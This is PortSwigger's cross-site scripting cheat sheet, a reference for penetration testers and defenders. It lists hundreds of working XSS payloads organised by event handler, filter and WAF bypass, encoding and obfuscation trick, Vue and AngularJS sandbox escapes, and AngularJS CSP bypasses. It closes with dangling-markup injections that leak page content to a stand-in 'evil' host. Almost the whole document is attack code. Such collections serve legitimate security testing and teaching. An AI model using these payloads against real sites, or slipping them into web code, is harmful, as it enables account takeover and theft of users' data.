PORTSWIGGER
WEB SECURITY

Cross-site scripting (XSS) cheat sheet

This cross-site scripting (XSS) cheat sheet contains many vectors that can help you bypass WAFs and filters. You can select vectors by the event, tag or browser and a proof of concept is included for every vector. This cheat sheet is regularly updated in 2020. Last updated: Fri, 26 Jun 2020 13:02:50 +0000.

Table of contents

Event handlers

Event handlers that do not require user interaction

Event:	Description:	Code:
onactivate		
Compatibility:	Fires when the element is activated	`<xss id=x tabindex=1 onactivate=alert(1)></xss>`
onafterprint		
Compatibility:	Fires after the page is printed	`<body onafterprint=alert(1)>`
onafterscriptexecute		
Compatibility:	Fires after script is executed	`<xss onafterscriptexecute=alert(1)><script>1</script>`
onanimationcancel		
Compatibility:	Fires when a CSS animation cancels	`<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><xss id=x style="position:absolute;" onanimationcancel="alert(1)"></xss>`
onanimationend		
Compatibility:	Fires when a CSS animation ends	`<style>@keyframes x{}</style><xss style="animation-name:x" onanimationend="alert(1)"></xss>`
onanimationiteration		
Compatibility:	Fires when a CSS animation repeats	`<style>@keyframes slidein {}</style><xss style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></xss>`
onanimationstart		
Compatibility:	Fires when a CSS animation starts	`<style>@keyframes x{}</style><xss style="animation-name:x" onanimationstart="alert(1)"></xss>`
onbeforeactivate		
Compatibility:	Fires before the element is activated	`<xss id=x tabindex=1 onbeforeactivate=alert(1)></xss>`
onbeforedeactivate		
Compatibility:	Fires before the element is deactivated	`<xss id=x tabindex=1 onbeforedeactivate=alert(1)></xss><input autofocus>`
onbeforeprint		
Compatibility:	Fires before the page is printed	`<body onbeforeprint=alert(1)>`
onbeforescriptexecute		
Compatibility:	Fires before script is executed	`<xss onbeforescriptexecute=alert(1)><script>1</script>`

onbeforeunload

Compatibility:

Fires after if the url changes

```
<body onbeforeunload="location='javascript:alert(1)'">
```

onbegin

Compatibility:

Fires when a svg animation begins

```
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
```

onblur

Compatibility:

Fires when an element loses focus

```
<a onblur=alert(1) tabindex=1 id=x></a><input autofocus>
```

onbounce

Compatibility:

Fires when the marquee bounces

```
<marquee width=1 loop=1 onbounce=alert(1)>XSS</marquee>
```

oncanplay

Compatibility:

Fires if the resource can be played

```
<audio oncanplay=alert(1)><source src="validaudio.wav" type="audio/wav">
</audio>
```

oncanplaythrough

Compatibility:

Fires when enough data has been loaded to play the resource all the way through

```
<video oncanplaythrough=alert(1)><source src="validvideo.mp4"
type="video/mp4"></video>
```

ondeactivate

Compatibility:

Fires when the element is deactivated

```
<xss id=x tabindex=1 ondeactivate=alert(1)></xss><input id=y autofocus>
```

onend

Compatibility:

Fires when a svg animation ends

```
<svg><animate onend=alert(1) attributeName=x dur=1s>
```

onended

Compatibility:

Fires when the resource is finished playing

```
<audio controls autoplay onended=alert(1)><source src="validaudio.wav"
type="audio/wav"></audio>
```

onerror

Compatibility:

Fires when the resource fails to load or causes an error

```
<audio src/onerror=alert(1)>
```

onfinish

Compatibility:

Fires when the marquee finishes

```
<marquee width=1 loop=1 onfinish=alert(1)>XSS</marquee>
```

onfocus

Compatibility:

Fires when the element has focus

```
<a id=x tabindex=1 onfocus=alert(1)></a>
```

onfocusin

Compatibility:

Fires when the element has focus

```
<a id=x tabindex=1 onfocusin=alert(1)></a>
```

onfocusout

Compatibility:

Fires when an element loses focus

```
<a onfocusout=alert(1) tabindex=1 id=x></a><input autofocus>
```

onhashchange

Compatibility:

Fires if the hash changes

```
<body onhashchange="alert(1)">
```

onload

Compatibility:

Fires when the element is loaded

```
<body onload=alert(1)>
```

onloadeddata

Compatibility:

Fires when the first frame is loaded

```
<audio onloadeddata=alert(1)><source src="validaudio.wav"
type="audio/wav"></audio>
```

onloadedmetadata

Compatibility:

Fires when the meta data is loaded

```
<audio autoplay onloadedmetadata=alert(1)> <source src="validaudio.wav"
type="audio/wav"></audio>
```

onloadend

Compatibility:

Fires when the element finishes loading

```
<image src=validimage.png onloadend=alert(1)>
```

onloadstart

Compatibility:

Fires when the element begins to load

```
<image src=validimage.png onloadstart=alert(1)>
```

onmessage

Compatibility:

Fires when message event is received from a postMessage call

```
<body onmessage=alert(1)>
```

onpageshow

Compatibility:

Fires when the page is shown

```
<body onpageshow=alert(1)>
```

onplay

Compatibility:

Fires when the resource is played

```
<audio autoplay onplay=alert(1)><source src="validaudio.wav"
type="audio/wav"></audio>
```

onplaying

Compatibility:

Fires the resource is playing

```
<audio autoplay onplaying=alert(1)><source src="validaudio.wav"
type="audio/wav"></audio>
```

onpopstate

Compatibility:

Fires when the history changes

```
<body onpopstate=alert(1)>
```

onreadystatechange

Compatibility:

Fires when the ready state changes

```
<applet onreadystatechange=alert(1)></applet>
```

onrepeat

Compatibility:

Fires when a svg animation repeats

```
<svg><animate onrepeat=alert(1) attributeName=x dur=1s repeatCount=2 />
```

onresize

Compatibility:

Fires when the window is resized

```
<body onresize="alert(1)">
```

onscroll

Compatibility:

Fires when the page scrolls

```
<body onscroll=alert(1)><div style=height:1000px></div><div id=x></div>
```

onstart

Compatibility:

Fires when the marquee starts

```
<marquee onstart=alert(1)>XSS</marquee>
```

ontimeupdate

Compatibility:

Fires when the timeline is changed

```
<audio controls autoplay ontimeupdate=alert(1)><source
src="validaudio.wav" type="audio/wav"></audio>
```

ontoggle

Compatibility: 

Fires when the details tag is expanded

```
<details ontoggle=alert(1) open>test</details>
```

ontransitioncancel

Compatibility: 

Fires when a CSS transition cancels

```
<style>:target {color: red;}</style><xss id=x style="transition:color 10s"
ontransitioncancel=alert(1)></xss>
```

ontransitionend

Compatibility: 

Fires when a CSS transition ends

```
<style>:target {color:red;}</style><xss id=x style="transition:color 1s"
ontransitionend=alert(1)></xss>
```

ontransitionrun

Compatibility: 

Fires when a CSS transition begins

```
<style>:target {transform: rotate(180deg);}</style><xss id=x
style="transition:transform 2s" ontransitionrun=alert(1)></xss>
```

onunhandledrejection

Compatibility: 

Fires when a promise isn't handled

```
<body onunhandledrejection=alert(1)><script>fetch('//xyz')</script>
```

onwaiting

Compatibility: 

Fires when while waiting for the data

```
<video autoplay controls onwaiting=alert(1)><source src="validvideo.mp4"
type=video/mp4></video>
```

onwebkitanimationend

Compatibility: 

Fires when a CSS animation ends

```
<style>@keyframes x{}</style><xss style="animation-name:x"
onwebkitanimationend="alert(1)"></xss>
```

onwebkitanimationstart

Compatibility: 

Fires when a CSS animation starts

```
<style>@keyframes x{}</style><xss style="animation-name:x"
onwebkitanimationstart="alert(1)"></xss>
```

onwebkittransitionend

Compatibility: 

Fires when a CSS transition ends

```
<style>:target {color:red;}</style><xss id=x style="transition:color 1s"
onwebkittransitionend=alert(1)></xss>
```

Event handlers that do require user interaction

Event:	Description:	Code:

onauxclick

Compatibility: 

Fires when right clicking or using the middle button of the mouse

```
<input onauxclick=alert(1)>
```

onbeforecopy

Compatibility: 

Requires you copy a piece of text

```
<a onbeforecopy="alert(1)" contenteditable>test</a>
```

onbeforecut

Compatibility: 

Requires you cut a piece of text

```
<a onbeforecut="alert(1)" contenteditable>test</a>
```

onbeforepaste

Compatibility: 

Requires you paste a piece of text

```
<a onbeforepaste="alert(1)" contenteditable>test</a>
```

onchange

Compatibility: 

Requires as change of value

```
<input onchange=alert(1) value=xss>
```

onclick

Compatibility: 

Requires a click of the element

```
<xss onclick="alert(1)">test</xss>
```

onclose

Compatibility: 

Fires when a dialog is closed

```
<dialog open onclose=alert(1)><form method=dialog><button>XSS</button>
</form>
```

oncontextmenu

Compatibility: 

Triggered when right clicking to show the context menu

```
<xss oncontextmenu="alert(1)">test</xss>
```

oncopy

Compatibility: 

Requires you copy a piece of text

```
<xss oncopy=alert(1) value="XSS" autofocus tabindex=1>test
```

oncut

Compatibility: 

Requires you cut a piece of text

```
<xss oncut=alert(1) value="XSS" autofocus tabindex=1>test
```

ondblclick

Compatibility: 

Triggered when double clicking the element

```
<xss ondblclick="alert(1)" autofocus tabindex=1>test</xss>
```

ondrag

Compatibility: 

Triggered dragging the element

```
<xss draggable="true" ondrag="alert(1)">test</xss>
```

ondragend

Compatibility: 

Triggered dragging is finished on the element

```
<xss draggable="true" ondragend="alert(1)">test</xss>
```

ondragenter

Compatibility: 

Requires a mouse drag

```
<xss draggable="true" ondragenter="alert(1)">test</xss>
```

ondragleave

Compatibility: 

Requires a mouse drag

```
<xss draggable="true" ondragleave="alert(1)">test</xss>
```

ondragover

Compatibility: 

Triggered dragging over an element

```
<div draggable="true" contenteditable>drag me</div><xss
ondragover=alert(1) contenteditable>drop here</xss>
```

ondragstart

Compatibility: 

Requires a mouse drag

```
<xss draggable="true" ondragstart="alert(1)">test</xss>
```

ondrop

Compatibility: 

Triggered dropping a draggable element

```
<div draggable="true" contenteditable>drag me</div><xss ondrop=alert(1)
contenteditable>drop here</xss>
```

onfullscreenchange

Compatibility: 

Fires when a video changes full screen status

```
<video onfullscreenchange=alert(1) src=validvideo.mp4 controls>
```

oninput

Compatibility: 

Requires as change of value

```
<input oninput=alert(1) value=xss>
```

oninvalid

Compatibility: 

Requires a form submission with an element that does not satisfy its constraints such as a required attribute.

```
<form><input oninvalid=alert(1) required><input type=submit>
```

onkeydown

Compatibility: 

Triggered when a key is pressed

```
<xss onkeydown="alert(1)" contenteditable>test</xss>
```

onkeypress

Compatibility: 

Triggered when a key is pressed

```
<xss onkeypress="alert(1)" contenteditable>test</xss>
```

onkeyup

Compatibility: 

Triggered when a key is released

```
<xss onkeyup="alert(1)" contenteditable>test</xss>
```

onmousedown

Compatibility: 

Triggered when the mouse is pressed

```
<xss onmousedown="alert(1)">test</xss>
```

onmouseenter

Compatibility: 

Triggered when the mouse is hovered over the element

```
<xss onmouseenter="alert(1)">test</xss>
```

onmouseleave

Compatibility: 

Triggered when the mouse is moved away from the element

```
<xss onmouseleave="alert(1)">test</xss>
```

onmousemove

Compatibility: 

Requires mouse movement

```
<xss onmousemove="alert(1)">test</xss>
```

onmouseout

Compatibility: 

Triggered when the mouse is moved away from the element

```
<xss onmouseout="alert(1)">test</xss>
```

onmouseover

Compatibility: 

Requires a hover over the element

```
<xss onmouseover="alert(1)">test</xss>
```

onmouseup

Compatibility: 

Triggered when the mouse button is released

```
<xss onmouseup="alert(1)">test</xss>
```

onmozfullscreenchange

Compatibility: 

Fires when a video changes full screen status

```
<video onmozfullscreenchange=alert(1) src=validvideo.mp4 controls>
```

onpaste

Compatibility: 

Requires you paste a piece of text

```
<a onpaste="alert(1)" contenteditable>test</a>
```

onpause

Compatibility: 

Requires clicking the element to pause

```
<audio autoplay controls onpause=alert(1)><source src="validaudio.wav"
type="audio/wav"></audio>
```

onpointerdown

Compatibility: 

Fires when the mouse down

```
<xss onpointerdown=alert(1)>XSS</xss>
```

onpointerenter

Compatibility: 

Fires when the mouseenter

```
<xss onpointerenter=alert(1)>XSS</xss>
```

onpointerleave

Compatibility:

Fires when the mouseleave

```
<xss onpointerleave=alert(1)>XSS</xss>
```

onpointermove

Compatibility:

Fires when the mouse move

```
<xss onpointermove=alert(1)>XSS</xss>
```

onpointerout

Compatibility:

Fires when the mouse out

```
<xss onpointerout=alert(1)>XSS</xss>
```

onpointerover

Compatibility:

Fires when the mouseover

```
<xss onpointerover=alert(1)>XSS</xss>
```

onpointerrawupdate

Compatibility:

Fires when the pointer changes

```
<xss onpointerrawupdate=alert(1)>XSS</xss>
```

onpointerup

Compatibility:

Fires when the mouse up

```
<xss onpointerup=alert(1)>XSS</xss>
```

onreset

Compatibility:

Requires a click

```
<form onreset=alert(1)><input type=reset>
```

onsearch

Compatibility:

Fires when a form is submitted and the input has a type attribute of search

```
<form><input type=search onsearch=alert(1) value="Hit return" autofocus>
```

onseeked

Compatibility:

Requires clicking the element timeline

```
<audio autoplay controls onseeked=alert(1)><source src="validaudio.wav"
type="audio/wav"></audio>
```

onseeking

Compatibility:

Requires clicking the element timeline

```
<audio autoplay controls onseeking=alert(1)><source src="validaudio.wav"
type="audio/wav"></audio>
```

onselect

Compatibility:

Requires you select text

```
<input onselect=alert(1) value="XSS" autofocus>
```

onsubmit

Compatibility:

Requires a form submission

```
<form onsubmit=alert(1)><input type=submit>
```

ontouchend

Compatibility:

Fires when the touch screen, only mobile device

```
<body ontouchend=alert(1)>
```

ontouchmove

Compatibility:

Fires when the touch screen and move, only mobile device

```
<body ontouchmove=alert(1)>
```

ontouchstart

Compatibility:

Fires when the touch screen, only mobile device

```
<body ontouchstart=alert(1)>
```

onunload

Compatibility:

Requires a click anywhere on the page and a reload

```
<svg onunload=window.open('javascript:alert(1)')>
```

onvolumechange

Compatibility:

Requires volume adjustment

```
<audio autoplay controls onvolumechange=alert(1)><source
src="validaudio.wav" type="audio/wav"></audio>
```

onwheel

Compatibility:

Fires when you use the mouse wheel

```
<body onwheel=alert(1)>
```

Restricted characters

No parentheses using exception handling	`<script>onerror=alert;throw 1</script>`
No parentheses using exception handling no semi colons	`<script>{onerror=alert}throw 1</script>`
No parentheses using exception handling no semi colons using expressions	`<script>throw onerror=alert,1</script>`
No parentheses using exception handling and eval	`<script>throw onerror=eval,'=alert\x281\x29'</script>`
No parentheses using exception handling and eval on Firefox	`<script> {onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:1,message:'alert\x 281\x29'}</script>`
No parentheses using ES6 hasInstance and instanceof with eval	`<script>'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}</script>`
No parentheses using ES6 hasInstance and instanceof with eval without .	`<script>'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}</script>`
No parentheses using location redirect	`<script>location='javascript:alert\x281\x29'</script>`
No parentheses using location redirect no strings	`<script>location=name</script>`
No parentheses using template strings	`<script>alert`1`</script>`
No parentheses using template strings and location hash	`<script>new Function`X${document.location.hash.substr`1`}`</script>`
No parentheses or spaces, using template strings and location hash	`<script>Function`X${document.location.hash.substr`1`}```</script>`

Frameworks

Bootstrap onanimationstart event	`<xss class=progress-bar-animated onanimationstart=alert(1)>`
Bootstrap ontransitionend event	`<xss class="carousel slide" data-ride=carousel data-interval=100 ontransitionend=alert(1)><xss class=carousel-inner><xss class="carousel-item active"></xss><xss class=carousel-item></xss></xss></xss>`

Protocols

Iframe src attribute JavaScript protocol	`<iframe src="javascript:alert(1)">`
Object data attribute with JavaScript protocol	`<object data="javascript:alert(1)">`
Embed src attribute with JavaScript protocol	`<embed src="javascript:alert(1)">`

A standard JavaScript protocol	`<a href="javascript:alert(1)">XSS</a>`
The protocol is not case sensitive	`<a href="JaVaScript:alert(1)">XSS</a>`
Characters \x01-\x20 are allowed before the protocol	`<a href="  javascript:alert(1)">XSS</a>`
Characters \x09,\x0a,\x0d are allowed inside the protocol	`<a href="javas  cript:alert(1)">XSS</a>`
Characters \x09,\x0a,\x0d are allowed after protocol name before the colon	`<a href="javascript :alert(1)">XSS</a>`
Xlink namespace inside SVG with JavaScript protocol	`<svg><a xlink:href="javascript:alert(1)"><text x="20" y="20">XSS</text></a>`
SVG animate tag using values	`<svg><animate xlink:href=#xss attributeName=href values=javascript:alert(1) /><a id=xss><text x=20 y=20>XSS</text></a>`
SVG animate tag using to	`<svg><animate xlink:href=#xss attributeName=href from=javascript:alert(1) to=1 /><a id=xss><text x=20 y=20>XSS</text></a>`
SVG set tag	`<svg><set xlink:href=#xss attributeName=href from=? to=javascript:alert(1) /><a id=xss><text x=20 y=20>XSS</text></a>`
Data protocol inside script src	`<script src="data:text/javascript,alert(1)"></script>`
SVG script href attribute without closing script tag	`<svg><script href="data:text/javascript,alert(1)" />`
SVG use element Chrome/Firefox	`<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' width='100' height='100'><a xlink:href='javascript:alert(1)'><rect x='0' y='0' width='100' height='100' /></a></svg>#x"></use></svg>`
Import statement with data URL	`<script>import('data:text/javascript,alert(1)')</script>`
Base tag with JavaScript protocol rewriting relative URLS	`<base href="javascript:/a/-alert(1)///////"><a href=../lol/safari.html>test</a>`
MathML makes any tag clickable	`<math><x href="javascript:alert(1)">blah`
Button and formaction	`<form><button formaction=javascript:alert(1)>XSS`
Input and formaction	`<form><input type=submit formaction=javascript:alert(1) value=XSS>`
Form and action	`<form action=javascript:alert(1)><input type=submit value=XSS>`
Isindex and formaction	`<isindex type=submit formaction=javascript:alert(1)>`
Isindex and action	`<isindex type=submit action=javascript:alert(1)>`
Use element with an external URL	`<svg><use href="//subdomain1.portswigger-labs.net/use_element/upload.php#x" /></svg>`
Animate tag with keytimes and multiple values	`<svg><animate xlink:href=#xss attributeName=href dur=5s repeatCount=indefinite keytimes=0;0;1 values="https://portswigger.net?;javascript:alert(1);0" /><a id=xss><text x=20 y=20>XSS</text></a>`

Other useful attributes	
Using srcdoc attribute	`<iframe srcdoc="<img src=1 onerror=alert(1)>"></iframe>`
Using srcdoc with entities	`<iframe srcdoc="<img src=1 onerror=alert(1)>"></iframe>`
Click a submit element from anywhere on the page, even outside the form	`<form action="javascript:alert(1)"><input type=submit id=x></form><label for=x>XSS</label>`
Hidden inputs: Access key attributes can enable XSS on normally unexploitable elements	`<input type="hidden" accesskey="X" onclick="alert(1)"> (Press ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)`
Link elements: Access key attributes can enable XSS on normally unexploitable elements	`<link rel="canonical" accesskey="X" onclick="alert(1)" /> (Press ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)`
Download attribute can save a copy of the current webpage	`<a href=# download="filename.html">Test</a>`
Disable referrer using referrerpolicy	`<img referrerpolicy="no-referrer" src="//portswigger-labs.net">`
Set window.name via parameter on the window.open function	`<a href=# onclick="window.open('http://subdomain1.portswigger-labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//','alert(1)')">XSS</a>`
Set window.name via name attribute in a <iframe> tag	`<iframe name="alert(1)" src="https://portswigger-labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//"></iframe>`
Set window.name via target attribute in a <base> tag	`<base target="alert(1)"><a href="http://subdomain1.portswigger-labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//">XSS via target in base tag</a>`
Set window.name via target attribute in a <a> tag	`<a target="alert(1)" href="http://subdomain1.portswigger-labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//">XSS via target in a tag</a>`
Set window.name via usemap attribute in a <img> tag	`<img src="validimage.png" width="10" height="10" usemap="#xss"><map name="xss"><area shape="rect" coords="0,0,82,126" target="alert(1)" href="http://subdomain1.portswigger-labs.net/xss/xss.php?context=js_string_single&x=%27;eval(name)//"></map>`
Set window.name via target attribute in a <form> tag	`<form action="http://subdomain1.portswigger-labs.net/xss/xss.php" target="alert(1)"><input type=hidden name=x value="';eval(name)//"><input type=hidden name=context value=js_string_single><input type="submit" value="XSS via target in a form"></form>`
Set window.name via formtarget attribute in a <input> tag type submit	`<form><input type=hidden name=x value="';eval(name)//"><input type=hidden name=context value=js_string_single><input type="submit" formaction="http://subdomain1.portswigger-labs.net/xss/xss.php" formtarget="alert(1)" value="XSS via formtarget in input type submit"></form>`
Set window.name via formtarget attribute in a <input> tag type image	`<form><input type=hidden name=x value="';eval(name)//"><input type=hidden name=context value=js_string_single><input name=1 type="image" src="validimage.png" formaction="http://subdomain1.portswigger-labs.net/xss/xss.php" formtarget="alert(1)" value="XSS via formtarget in input type image"></form>`

Special tags	
Redirect to a different domain	`<meta http-equiv="refresh" content="0; url=//portswigger-labs.net">`
Meta charset attribute UTF-7	`<meta charset="UTF-7" /> +ADw-script+AD4-alert(1)+ADw-/script+AD4-`
Meta charset UTF-7	`<meta http-equiv="Content-Type" content="text/html; charset=UTF-7" /> +ADw-script+AD4-alert(1)+ADw-/script+AD4-`

UTF-7 BOM characters (Has to be at the start of the document) 1	`+/v8` `+ADw-script+AD4-alert(1)+ADw-/script+AD4-`
UTF-7 BOM characters (Has to be at the start of the document) 2	`+/v9` `+ADw-script+AD4-alert(1)+ADw-/script+AD4-`
UTF-7 BOM characters (Has to be at the start of the document) 3	`+/v+` `+ADw-script+AD4-alert(1)+ADw-/script+AD4-`
UTF-7 BOM characters (Has to be at the start of the document) 4	`+/v/` `+ADw-script+AD4-alert(1)+ADw-/script+AD4-`
Upgrade insecure requests	`<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">`
Disable JavaScript via iframe sandbox	`<iframe sandbox src="//portswigger-labs.net"></iframe>`
Disable referer	`<meta name="referrer" content="no-referrer">`

Encoding	

Overlong UTF-8	`%C0%BCscript>alert(1)</script>`
	`%E0%80%BCscript>alert(1)</script>`
	`%F0%80%80%BCscript>alert(1)</script>`
	`%F8%80%80%80%BCscript>alert(1)</script>`
	`%FC%80%80%80%80%BCscript>alert(1)</script>`

Unicode escapes	`<script>\u0061lert(1)</script>`
Unicode escapes ES6 style	`<script>\u{61}lert(1)</script>`
Unicode escapes ES6 style zero padded	`<script>\u{0000000061}lert(1)</script>`
Hex encoding JavaScript escapes	`<script>eval('\x61lert(1)')</script>`

Octal encoding	`<script>eval('\141lert(1)')</script>`
	`<script>eval('alert(\061)')</script>`
	`<script>eval('alert(\61)')</script>`

Decimal encoding with optional semi-colon	`<a href="javascript:alert(1)">XSS</a><a` `href="&#106avascript:alert(1)">XSS</a>`
SVG script with HTML encoding	`<svg><script>alert(1)</script></svg>` `<svg><script>alert(1)</script></svg>` `<svg><script>alert
(1)</script></svg>` `<svg><script>x="",alert(1)//";</script></svg>`
Decimal encoding with padded zeros	`<a href="&#0000106avascript:alert(1)">XSS</a>`
Hex encoding entities	`<a href="javascript:alert(1)">XSS</a>`

Hex encoding without semi-colon provided next character is not a-f0-9	`<a href="j&#x61vascript:alert(1)">XSS</a>`
	`<a href="&#x6a`
	`avascript:alert(1)">XSS</a>`
	`<a href="&#x6a avascript:alert(1)">XSS</a>`

Hex encoding with padded zeros	`<a href="javascript:alert(1)">XSS</a>`
Hex encoding is not case sensitive	`<a href="javascript:alert(1)">XSS</a>`
HTML entities	`<a href="javascript:alert(1)">XSS</a>`

	`<a href="java script:alert(1)">XSS</a>` `<a href="java
script:alert(1)">XSS` `XSS`
URL encoding	`<a href="javascript:x='%27-alert(1)-%27';">XSS</a>`
HTML entities and URL encoding	`<a href="javascript:x='%27-alert(1)-%27';">XSS</a>`

Obfuscation

Data protocol inside script src with base64	`<script src=data:text/javascript;base64,YWxlcnQoMSk=></script>`
Data protocol inside script src with base64 and HTML entities	`<script src=data:text/javascript;base64,YWxlcnQoMSk=></script>`
Data protocol inside script src with base64 and URL encoding	`<script src=data:text/javascript;base64,%59%57%78%6c%63%6e%51%6f%4d%53%6b%3d></script>`
Iframe srcdoc HTML encoded	`<iframe srcdoc=<script>alert(1)</script>></iframe>`
Iframe JavaScript URL with HTML and URL encoding	`<iframe src="javascript:'%3Cscript%3Ealert(1)%3C%2Fscript%3E'"></iframe>`
SVG script with unicode escapes and HTML encoding	`<svg><script>\u0061\u006c\u0065\u0072\u0074(1)</script></svg>`

Client-side template injection

Vuejs reflected

Version:	Author:	Length:	Vector:
All versions	**Mario Heiderich** (Cure53)	41	`{{constructor.constructor('alert(1)')()}}`
All versions	**Mario Heiderich** (Cure53) & **Sebastian Lekies** (Google) **Eduardo Vela Nava** (Google) **Krzysztof Kotowicz** (Google)	62	`<div v-html="''.constructor.constructor('alert(1)')()">a</div>`
All versions	**Gareth Heyes** (PortSwigger)	39	`<x v-html=_c.constructor('alert(1)')()>`

AngularJS sandbox escapes reflected

Version:	Author:	Length:	Vector:
1.0.1 - 1.1.5	**Mario Heiderich** (Cure53)	41	`{{constructor.constructor('alert(1)')()}}`
1.0.1 - 1.1.5 (shorter)	**Gareth Heyes** (PortSwigger) & **Lewis Ardern** (Synopsys)	33	`{{$on.constructor('alert(1)')()}}`
1.2.0 - 1.2.1	**Jan Horn** (Google)	122	`{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}`
1.2.2 - 1.2.5	**Gareth Heyes** (PortSwigger)	23	`{{{}.")));alert(1)//"}}`

1.2.6 - 1.2.18	**Jan Horn** (Google)	106	`{{(_='').sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}`
1.2.19 - 1.2.23	**Mathias Karlsson** (Detectify)	124	`{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}`
1.2.24 - 1.2.29	**Gareth Heyes** (PortSwigger)	23	`{{{}.")));alert(1)//"}}`
1.2.27-1.2.29/1.3.0-1.3.20	**Gareth Heyes** (PortSwigger)	23	`{{{}.")));alert(1)//"}}`
1.3.0	**Gábor Molnár** (Google)	272	`{{!ready && (ready = true) && (!call ? $$watchers[0].get(toString.constructor.prototype) : (a = apply) && (apply = constructor) && (valueOf = call) && (''+''.toString( 'F = Function.prototype;' + 'F.apply = F.a;' + 'delete F.a;' + 'delete F.valueOf;' + 'alert(1);' ));}}`
1.3.3 - 1.3.18	**Gareth Heyes** (PortSwigger)	128	`{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)//');}}`
1.3.19	**Gareth Heyes** (PortSwigger)	102	`{{'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join;$eval('x=alert(1)//');}}`
1.3.20	**Gareth Heyes** (PortSwigger)	65	`{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}`
1.4.0 - 1.4.9	**Gareth Heyes** (PortSwigger)	74	`{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} };alert(1)//');}}`
1.5.0 - 1.5.8	**Ian Hickey** & **Gareth Heyes** (PortSwigger)	79	`{{x={'y':''.constructor.prototype};x['y'].charAt=[].join;$eval('x=alert(1)');}}`
1.5.9 - 1.5.11	**Jan Horn** (Google)	517	`{{ c=''.sub.call;b=''.sub.bind;a=''.sub.apply; c.$apply=$apply;c.$eval=b;op=$root.$$phase; $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString; C=c.$apply(c);$root.$$phase=op;$root.$digest=od; B=C(b,c,b);$evalAsync(" astNode=pop();astNode.type='UnaryExpression'; astNode.operator='(window.X?void0:(window.X=true,alert(1)))+'; astNode.argument={type:'Identifier',name:'foo'}; "); m1=B($$asyncQueue.pop().expression,null,$root); m2=B(C,null,m1);[].push.apply=m2;a=''.sub; $eval('a(b.c)');[].push.apply=a; }}`
>=1.6.0	**Mario Heiderich** (Cure53)	41	`{{constructor.constructor('alert(1)')()}}`
>=1.6.0 (shorter)	**Gareth Heyes** (PortSwigger) & **Lewis Ardern** (Synopsys)	33	`{{$on.constructor('alert(1)')()}}`

DOM based AngularJS sandbox escapes (Using orderBy or no $eval)

Version:	Author:	Length:	Vector:
1.0.1 - 1.1.5	**Mario Heiderich** (Cure53)	37	`constructor.constructor('alert(1)')()`
1.2.0 - 1.2.18	**Jan Horn** (Google)	118	`a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()`

1.2.19 - 1.2.23	**Mathias Karlsson** (Detectify)	119	`toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor)`
1.2.24 - 1.2.26	**Gareth Heyes** (PortSwigger)	317	`{}[['__proto__']]['x']=constructor.getOwnPropertyDescriptor;g={}[['__proto__']]['x'];{}[['__proto__']]['y']=g(''.sub[['__proto__']],'constructor');{}[['__proto__']]['z']=constructor.defineProperty;d={}[['__proto__']]['z'];d(''.sub[['__proto__']],'constructor',{value:false});{}[['__proto__']]['y'].value('alert(1)')()`
1.2.27-1.2.29/1.3.0-1.3.20	**Gareth Heyes** (PortSwigger)	20	`{}.")));alert(1)//";`
1.4.0-1.4.5	**Gareth Heyes** (PortSwigger)	75	`'a'.constructor.prototype.charAt=[].join;[1]|orderBy:'x=1} }};alert(1)//';`
>=1.6.0	**Mario Heiderich** (Cure53)	37	`constructor.constructor('alert(1)')()`
1.4.4 (without strings)	**Gareth Heyes** (PortSwigger)	134	`toString().constructor.prototype.charAt=[].join;[1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)`

AngularJS CSP bypasses

Version:	Author:	Length:	Vector:
All versions (Chrome)	**Gareth Heyes** (PortSwigger)	81	`<input autofocus ng-focus="$event.path|orderBy:'[].constructor.from([1],alert)'">`
All versions (Chrome) shorter	**Gareth Heyes** (PortSwigger)	56	`<input id=x ng-focus=$event.path|orderBy:'(z=alert)(1)'>`
All versions (all browsers) shorter	**Gareth Heyes** (PortSwigger)	91	`<input autofocus ng-focus="$event.composedPath()|orderBy:'[].constructor.from([1],alert)'">`
1.2.0 - 1.5.0	**Eduardo Vela** (Google)	190	`<div ng-app ng-csp><div ng-focus="x=$event;" id=f tabindex=0>foo</div><div ng-repeat="(key, value) in x.view"><div ng-if="key == 'window'">{{ [1].reduce(value.alert, 1); }}</div></div></div>`

Scriptless attacks

Dangling markup

Background attribute	`<body background="//evil?`
	`<table background="//evil?`
	`<table><thead background="//evil?`
	`<table><tbody background="//evil?`
	`<table><tfoot background="//evil?`
	`<table><td background="//evil?`
	`<table><th background="//evil?`

Link href stylesheet	`<link rel=stylesheet href="//evil?`
Link href icon	`<link rel=icon href="//evil?`
Meta refresh	`<meta http-equiv="refresh" content="0; http://evil?`
Img to pass markup through src attribute	`<img src="//evil?` `<image src="//evil?`
Video using track element	`<video><track default src="//evil?`
Video using source element and src attribute	`<video><source src="//evil?`

Audio using source element and src attribute	`<audio><source src="//evil?`
Input src	`<input type=image src="//evil?`
